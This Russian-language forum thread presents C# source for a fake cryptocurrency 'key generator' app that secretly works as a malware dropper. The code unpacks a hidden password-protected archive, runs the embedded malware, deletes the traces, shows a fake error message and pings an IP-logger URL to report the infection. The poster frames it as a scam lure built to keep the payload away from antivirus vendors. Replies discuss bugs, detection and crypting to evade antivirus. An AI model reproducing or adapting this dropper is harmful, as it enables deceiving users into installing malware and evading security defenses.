• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Soft C# Фейковая форма для скама, распространяем вашу малварь (заметки новичка) оцените код плз

f3c87d50d0.jpg

Что делает:
  1. Извлекает из ресурсов некий файл API.conf
  2. API.conf Это zip архив под паролем пароль в свою очередь закодирован в base64
  3. Распаковывает архив, в архиве куча папок и в конце одной из них exe малвари
  4. Накладывает атрибуты, скрытия и системные что бы не кто не чего не видел
  5. tenor.png
    И вот тут, вы можете распаковать не рядом а куда то подальше в системные папки, но рантайм не дремлет. Я решил оставить так.
  6. Форма запускает exe малвари ждет 2 сек, завершает и удаляет, 2сек хватает для моей малвари вы можете увеличить.
  7. После удаляет все созданные папки где была малварь
  8. И отстучим на IPlogger для отчетности ;-)
Вам нужно только украсить форму разными кнопками типо мега крутой софт, и запаковать в zip архив с паролем свой exe в определенные папки они есть в коде,
архив переименовать в API.conf или свое имя, в коде меняем, ну и добавляем в ресурсы.

Суть схемы что бы малварь прожила дольше от слива к антивирусным компаниям, суть такая что малварь запустится только при условии нажатия на кнопку! И видна соответственно только при условии нажатия на тот злощастный батон.
Все строки старался прокомментировать.
Сама по себе форма безвредна, соответственно не думаю что ее добавят в большую часть баз АВ
Код мой большая часть, где то что то заимствовал, только для codeby.net
Учусь, прошу критики от профи.
C#:
using ICSharpCode.SharpZipLib.Core;
using ICSharpCode.SharpZipLib.Zip;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace GenPrivateKey___Brut_checker_BTC
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        private void Button1_Click(object sender, EventArgs e)
        {
            File.WriteAllBytes("API.conf", Properties.Resources.API); // создаем файл  из бинарного массива **** в Resources (если он есть, то будет переопределен) API.conf Это архив zip по паролем, пароль закодированн в base64
            File.SetAttributes("API.conf", FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
            //Работаем с архивом:
            new Thread(() =>
            {
                try
                {
                    string password = Encoding.ASCII.GetString(Convert.FromBase64String("QVBJd2luZG93c1Bhc3NDb25maWdz")); // Ваш пароль закодированный в Base64
                    ExtractZipFile("API.conf", password, @".\"); //Распакуем архив (как вы поняли API.conf это и есть архив)
                    File.SetAttributes(@".\goods\", FileAttributes.Directory | FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя директории
                    File.SetAttributes(@".\goods\api\conf\API.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя API.exe (наша малварь)
                    Process proc = Process.Start(@".\goods\api\conf\API.exe"); //Запускаем exe малвари
                    Cursor = Cursors.WaitCursor; //Показываем курсор в ожидании типо что то делает
                    Thread.Sleep(2000); // Задержка
                    Cursor = Cursors.Default;
                    Thread.Sleep(2000); // Задержка
                    foreach (var process in Process.GetProcessesByName("API")) //Убиваем процесс API.exe что бы удалить выше задержка 2000мс этго хватит для отработки имено моего exe
                    {
                        process.Kill();
                    }
                    proc.WaitForExit();
                    File.Delete(@".\goods\api\conf\API.exe"); //Удаляем exe малвари
                    File.Delete("API.conf"); //Удаляем "Zip" архив
                    string directoria = @".\goods\"; //Читаем ниже
                    Directory.Delete(directoria, true); //Удаляем директорию с малварью нахрен
                    //Выводим фейковое сообщение об ошибке
                    MessageBox.Show(
       "API server blockchain.com/ru/explorer unavailable",
       "API Error",
       MessageBoxButtons.YesNo,
       MessageBoxIcon.Information,
       MessageBoxDefaultButton.Button1,
       MessageBoxOptions.DefaultDesktopOnly);
                    Logger.Get("https://yip.su/1mAct7.mp4"); //Отстукиваем на IPlogger
                }
                catch (Exception)
                {
                }
            }).Start();
        }
        //Функция распаковки архива с левым расширением и закодированным паролем в base64 используется библиотека SharpZipLib так же Fody что бы Dll не таскать за собой
        private void ExtractZipFile(string archiveFilenameIn, string password, string outFolder)
        {
            ZipFile zf = null;
            try
            {
                FileStream fs = File.OpenRead(archiveFilenameIn);
                zf = new ZipFile(fs);
                if (!String.IsNullOrEmpty(password))
                {
                    zf.Password = password;
                }
                foreach (ZipEntry zipEntry in zf)
                {
                    if (!zipEntry.IsFile)
                    {
                        continue;
                    }
                    String entryFileName = zipEntry.Name;
                    byte[] buffer = new byte[4096];
                    Stream zipStream = zf.GetInputStream(zipEntry);
                    String fullZipToPath = Path.Combine(outFolder, entryFileName);
                    string directoryName = Path.GetDirectoryName(fullZipToPath);
                    if (directoryName.Length > 0)
                        Directory.CreateDirectory(directoryName);
                    using (FileStream streamWriter = File.Create(fullZipToPath))
                    {
                        StreamUtils.Copy(zipStream, streamWriter, buffer);
                    }
                }
            }
            catch (Exception ex)
            {
                throw ex;
            }
            finally
            {
                if (zf != null)
                {
                    zf.IsStreamOwner = true;
                    zf.Close();
                }
            }
        }
        private class Logger  // Функция отстука на IPlogger
        {
            public static string Get(string url)
            {
                try
                {
                    WebRequest webRequest = WebRequest.Create(url);
                    webRequest.Credentials = CredentialCache.DefaultCredentials;
                    webRequest.Headers.Add("Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3");
                    ((HttpWebRequest)webRequest).UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0";
                    return new StreamReader(webRequest.GetResponse().GetResponseStream()).ReadToEnd();
                }
                catch (Exception)
                {
                    return null;
                }
            }
        }
    }
}
Скан АВ:
Как видите полный фуд

2180ef4e22.jpg


Забыл сказать что таким методом в ресурсы можно добавить сколько угодно exe, т.е использовать как джойнер (склейщик двух/трех и т.д exe в 1) при чем безпалевный. Идея я думаю нова и АВ компаниям выбор придется делать что бы сигнатуры добавить к себе или сделать много чего, включая нормальный честный софт...так как я уже говорил форма проста и безвредна, просто тупой разархиватор... аля проактивка, ждемс
 
  • Не нравится
Реакции: pedro

NEUCH

Green Team
26.07.2019
21
3
BIT
0
Я один не понял для чего этот софт?

Для тех кто прочитает код и поймет.
Все работает что я озвучил.
Код запутан не просто так. Но он понятно оформлен и закоментирован. На сколько смог. Кому надо тот поймет)
 
Последнее редактирование:

mrOkey

Grey Team
14.11.2017
967
976
BIT
0
во-первых, код не выдерживает никакой критики. Я даже пытаться не стану.
Код запутан не просто так.
это бред

Как видите полный фуд
про фуд: палятся сигнатуры нагрузок.

Ну короче рано тебе ещё код кому то показывать. Оооочень рано
 

GayFox

Member
10.07.2018
5
0
BIT
0
вылетает ошибка на стадии разархивирование в методе ExtractZipFile на 5 строке переменная возвращает null
 

GayFox

Member
10.07.2018
5
0
BIT
0
Пароль зашифровал в base64? или впихнул как он есть в голом виде
все разобрался это не фуд файл то есть если он зашифрован в ресурсах то да он фуд, но после того как он расшифровывается и запускается любой антивирус его увидет . надо что то другое придумать
 

NEUCH

Green Team
26.07.2019
21
3
BIT
0
все разобрался это не фуд файл то есть если он зашифрован в ресурсах то да он фуд, но после того как он расшифровывается и запускается любой антивирус его увидет . надо что то другое придумать
Понятное дело, это не криптор) просто таким образом да же при сливе на ВТ твой файл вряд ли попадет к ав компаниям который ты спрятал в ресурсах, так что криптуй его и не бойся что сольется крипт быстро.
 

GayFox

Member
10.07.2018
5
0
BIT
0
Понятное дело, это не криптор) просто таким образом да же при сливе на ВТ твой файл вряд ли попадет к ав компаниям который ты спрятал в ресурсах, так что криптуй его и не бойся что сольется крипт быстро.
вот насчет криптора есть темы? Вообще чтоб криптануть .NET файл это сложно (имею виду код) ?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!